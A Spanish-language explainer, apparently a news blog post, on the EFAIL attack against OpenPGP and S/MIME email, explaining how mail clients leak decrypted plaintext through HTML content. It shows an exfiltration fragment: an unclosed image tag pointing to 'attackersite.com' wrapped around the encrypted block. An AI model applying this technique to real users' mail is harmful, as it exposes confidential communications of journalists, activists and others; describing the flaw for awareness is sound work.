Liberan detalle de ataque contra PGP y S/MIME



El correo electrónico es un medio de comunicación en texto plano cuyas rutas de comunicación están parcialmente protegidas por TLS (TLS). Para las personas en entornos hostiles (periodistas, activistas políticos, denunciantes, ...) que dependen de la confidencialidad de la comunicación digital, esto puede no ser suficiente. Se sabe que los atacantes poderosos, como las agencias estatales nacionales, escuchan a escondidas las comunicaciones por correo electrónico de un gran número de personas.

Para solucionar esto, OpenPGP ofrece encriptación de extremo a extremo específicamente para comunicaciones sensibles en vista de estos poderosos atacantes. S/MIME es un estándar alternativo para el cifrado de extremo a extremo del correo electrónico que normalmente se utiliza para proteger la comunicación del correo electrónico corporativo.

Antes de explicar como funciona la vulnerabilidad, hay que indicar que la falla no está en el método con el cual se realiza la encriptación de de este Estandar, si no que la falla ocurre en la incorrecta implementación de esta tecnología.

El ataque apodado como Efail, explota vulnerabilidades en los estandares OpenPGP y S/Mime para revelar los correos electrónicos previamente encriptados, y dejarlos en texto claro. En pocas palabras, EFAIL abusa del contenido activo de los correos electrónicos HTML, por ejemplo, imágenes o estilos cargados externamente, para filtrar el texto sin formato a través de las URL solicitadas.

Para crear estos canales de exfiltración, el atacante primero necesita acceso a los correos electrónicos encriptados, por ejemplo, interceptando el tráfico de la red, comprometiendo cuentas de correo electrónico, servidores de correo electrónico, sistemas de respaldo o computadoras cliente. Los correos electrónicos incluso podrían haber sido recopilados hace años.

El atacante cambia un correo electrónico cifrado de una manera particular y envía este correo electrónico cifrado cambiado a la víctima. El cliente de correo electrónico de la víctima descifra el correo electrónico y carga cualquier contenido externo, lo que exfiltra el texto sin formato al atacante.

Los clientes de Email usualmente están configurados para que realicen la desecnripción automática de los correos que reciben, pero si tu cliente esta configurado automáticamente para que carguen estos recursos automáticamente, los atacantes podrían abusar de este comportamiento para poder robar los mensajes en texto plano y solo logrando modificar una versión del mismo correo electrónico.

El vector de ataques requiere inyectar datos en texto plano dentro del mismo correo encriptado, y usando el exploit, este filtrará los datos del correo encriptado al momento en que el usuario desencripte el correo y acceda o descifre el mensaje.

En el correo electrónico recientemente compuesto, el atacante agrega una etiqueta de imagen no cerrada, como esta <img src = "https://attackersite.com/ justo antes del contenido encriptado y lo finaliza agregando el final de la etiqueta de imagen, como este:. jpg ">, como se muestra claramente en la captura de pantalla.


El atacante ahora envía este correo electrónico a la víctima. El cliente de la víctima descifra la segunda parte del cuerpo encriptada y sutura las tres partes del cuerpo en un correo electrónico HTML como se muestra a continuación. Tenga en cuenta que el atributo src de la etiqueta de imagen en la línea 1 se cierra en la línea 4, por lo que la URL abarca las cuatro líneas.



El cliente de correo electrónico luego URL codifica todos los caracteres no imprimibles (por ejemplo,% 20 es un espacio en blanco) y solicita una imagen de esa URL. Como la ruta de la URL contiene el texto claro del correo electrónico encriptado, el cliente de correo electrónico de la víctima envía el texto plano al atacante.

Los ataques EFAIL de exfiltración directa funcionan para PGP encriptado así como para correos electrónicos S / MIME.

Fuente: https://efail.de/